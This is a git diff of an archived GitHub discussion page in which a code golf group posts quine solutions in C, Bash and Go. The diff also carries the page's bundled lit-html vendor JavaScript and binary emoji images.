Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 7: Self-replication · Discussion #8 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #8  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 7: Self-replication + + #8 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 7: Self-replication + + #8 +
    +
    +
    + + +
    + on Apr 21, 2021 + · + 3 answers + · + 1 reply +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 21, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    The classic coding golf problem: the quine. Write a program that produces itself as output!

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 3 suggested answers +
    + +
    + · +
    + +
    + 1 reply +
    +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 21, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Not very clever (except for the raw string trickery), but it works.

    +
    main(){char c[99]=R"(printf("main(){char c[99]=R\"("),printf("%s)\";",c),printf("%s",c);})";printf("main(){char c[99]=R\"("),printf("%s)\";",c),printf("%s",c);}
    + + + + +
    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 21, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    A slightly more clever Bash script:

    +
    for f in *;do if [ -f "$f" ]&&[[ -n $(sed -n '/^for f in/p;q' "$f") ]];then cat "$f";fi;done
    + + + + +
    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 25, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    "Optimized" for size of source. Not optimized for anything else… including cleaning up after itself or basic error handling.

    +
    package main
    +import _ "embed"
    +import "os"
    +//go:embed main.go
    +var q []byte
    +func main(){f,_:=os.Open("main.go");f.Write(q)}
    + + + + +
    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 25, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/quine/main.go

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 2 participants +
    + +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + + + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 zcmV-;3y1WHP)3@?wui}Q=f|k8dR;mj zx2@dX7L32b_^H(oaqm7zcUeE+pw*x?g*H1?T2tNkk+cPvl+1Uly 